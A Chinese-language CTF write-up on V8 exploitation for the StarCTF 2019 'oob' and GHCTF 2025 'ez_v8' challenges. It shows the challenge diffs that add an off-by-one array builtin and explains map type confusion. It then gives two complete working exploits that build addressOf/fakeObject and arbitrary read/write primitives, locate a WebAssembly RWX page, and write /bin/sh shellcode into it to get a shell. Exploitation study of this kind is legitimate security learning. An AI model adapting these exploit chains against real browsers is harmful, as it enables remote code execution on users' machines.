V8的基础知识可以跟着Colin师傅的博客学习,写的非常详细:chrome v8 pwn 学习 (1) | CoLin’s BLOG
ps:我的环境在用x64_debug时候越界操作会报错,x64_release时候job用不了,也是挺糟心。
2019 StarCTF oob
参考博客:从一道CTF题零基础学V8漏洞利用 – FreeBuf网络安全行业门户
分析diff文件:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
自定义了oob函数,return *(isolate->factory()->NewNumber(elements.get_scalar(length)))存在越界读;elements.set(length,value->Number())存在越界写。
举个例子,var a=[1,2,3],下标分别是0、1、2,但oob函数的读写操作却是读写到length(即3)下标位置,越界了一个单位。
如下图所示,oob一开始越界会读出奇怪的东西,当越界赋值后,读到的就是赋过的那个值了:

那么到底读到的是什么呢?下面测试一下:
js测试代码:
var a = [1,2,3.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();
通过在gdb中set args –allow-natives-syntax 1.js来调试:

DebugPrint: 0x255bc554de21: [JSArray]
- map: 0x24227a582ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x032d3a4d1111 <JSArray[0]>
- elements: 0x255bc554ddf9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x2c2a498c0c71 <FixedArray[0]> {
#length: 0x2c4c730401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x255bc554ddf9 <FixedDoubleArray[3]> {
0: 1
1: 2
2: 3.1
}
0x24227a582ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x24227a582e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2c4c73040609 <Cell value= 1>
- instance descriptors #1: 0x032d3a4d1f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x032d3a4d1eb9 <TransitionArray[4]>Transition array #1:
0x2c2a498c4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x24227a582f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x032d3a4d1111 <JSArray[0]>
- constructor: 0x032d3a4d0ec1 <JSFunction Array (sfi = 0x2c4c7304aca1)>
- dependent code: 0x2c2a498c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
分析可得到数组存储结构如下:

所以通过oob函数off by one读写操作,可以读写一个数组的map值。
这就引出了V8引擎里面危害非常大的一个利用方法:类型混淆
把一个浮点数数组的map改成对象数组的map,可以伪造一个对象数组;把一个对象数组的map改成浮点数数组的map,可以泄露数组地址。

由此可以构造出两个函数——addressOf和fakeObject,一个伪造对象数组,一个泄露地址,在构造前还得先写好不同类型数据转换的函数:
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}
ps:+1和-1操作是因为v8为了区分对象数组,会在地址上+1,再计算的时候需要考虑进去。
现在有了addressOf和fakeObject两个函数,该如何利用这两个函数来实现任意地址读写呢?
思路是,首先通过一个浮点数数组来伪造一个fake_object,然后通过addressOf泄露该浮点数数组的地址,进而计算出fake_object的地址,然后通过fakeObject把伪造的数组变成一个合法的对象数组,由于这个对象数组的elements指针是可控的,所以就实现了任意地址读写:
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

进而构造出任意地址写和任意地址读:
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
现在具备了任意地址读写的能力,接下来考虑的就是如何getshell了。
考虑两种方式,一种打system/one_gadget,一种打shellcode。
前者需要泄露地址,泄露方法多样,可以通过遍历内存找到指令地址(随机泄露),也可以通过读一些已知的会存放指令地址的地址来泄露(稳定泄露)详情见从一道CTF题零基础学V8漏洞利用 – FreeBuf网络安全行业门户
这里着重谈谈shellcode,这里要用到wasm,wasm可以通俗地理解成V8中可以执行汇编代码的一项技术,往wasm所属的地址写入shellcode,然后调用wasm接口就能执行shellcode.
查看wasm所属地址:
首先查看接口地址:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
经过Function–>shared_info–>WasmExportedFunctionData–>instance等一系列调用关系,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址:
pwndbg> job 0x000029c78a5e2069 <-- Function接口对象
0x29c78a5e2069: [Function] in OldSpace
- map: 0x21ba60f84379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x29c78a5c2109 <JSFunction (sfi = 0x375c767c3b29)>
- elements: 0x099635fc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x29c78a5e2031 <SharedFunctionInfo 0> <--找到shared_info
- name: 0x099635fc4ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x29c78a5c1869 <NativeContext[246]>
- code: 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x29c78a5e1e71
- WASM function index 0
- properties: 0x099635fc0c71 <FixedArray[0]> {
#length: 0x375c767c04b9 <AccessorInfo> (const accessor descriptor)
#name: 0x375c767c0449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x375c767c0369 <AccessorInfo> (const accessor descriptor)
#caller: 0x375c767c03d9 <AccessorInfo> (const accessor descriptor)
}
- feedback vector: not available
pwndbg> job 0x29c78a5e2031 <--查看shared_info
0x29c78a5e2031: [SharedFunctionInfo] in OldSpace
- map: 0x099635fc09e1 <Map[56]>
- name: 0x099635fc4ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x29c78a5e2009 <WasmExportedFunctionData> <-- 找到WasmExportedFunctionData
- code (from data): 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x099635fc0c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x99635fc2a39: [FeedbackMetadata]
- map: 0x099635fc1319 <Map>
- slot_count: 0
pwndbg> job 0x29c78a5e2009 <-- WasmExportedFunctionData
0x29c78a5e2009: [WasmExportedFunctionData] in OldSpace
- map: 0x099635fc5879 <Map[40]>
- wrapper_code: 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x29c78a5e1e71 <Instance map = 0x21ba60f89789> <-- 找到instance
- function_index: 0
pwndbg> telescope 0x29c78a5e1e70+0x88 <-- instance+0x88的位置存储的即为RWX内存页起始地址
00:0000│ 0x29c78a5e1ef8 —▸ 0x2257a726c000 ◂— movabs r10, 0x2257a726c260 /* 0x2257a726c260ba49 */
01:0008│ 0x29c78a5e1f00 —▸ 0xfaa2fd10971 ◂— 0x71000021ba60f891
pwndbg> vmmap 0x2257a726c000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x2257a726c000 0x2257a726d000 rwxp 1000 0
由此可以写出泄露RWX内存页起始地址的代码:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
然后写入shellcode:
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
完整exp:
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();
成功getshell:

GHCTF 2025 ez_v8
diff:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36b5e9..406ca1eac98 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1666,6 +1666,10 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "Myread",
+ Builtins::kMyread, 1, false);
+ SimpleInstallFunction(isolate_, proto, "Mywrite",
+ Builtins::kMywrite, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340ece7a..604a876df01 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,39 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(Myread) {
+ uint32_t len = args.length();
+ if( len > 1 ) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate,args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+}
+
+BUILTIN(Mywrite) {
+ uint32_t len = args.length();
+ if( len > 2 ) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate,args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+
+ if( len == 2) {
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 04472309fc0..752a08ce7ca 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,8 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(Myread) \
+ CPP(Mywrite) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5c6d8..11b28a92e13 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1678,6 +1678,10 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Boolean();
case Builtins::kArrayPrototypeSplice:
return Type::Receiver();
+ case Builtins::kMyread:
+ return Type::Receiver();
+ case Builtins::kMywrite:
+ return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
稍微审计一下即可看出,自定义了Myread和Mywrite函数,其实就是把oob这道题的oob函数拆分成了这两个函数来执行,直接简单改exp即可:
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.Myread();
var float_array_map = float_array.Myread();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.Mywrite(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.Mywrite(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.Mywrite(obj_array_map);
let faked_obj = float_array[0];
float_array.Mywrite(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();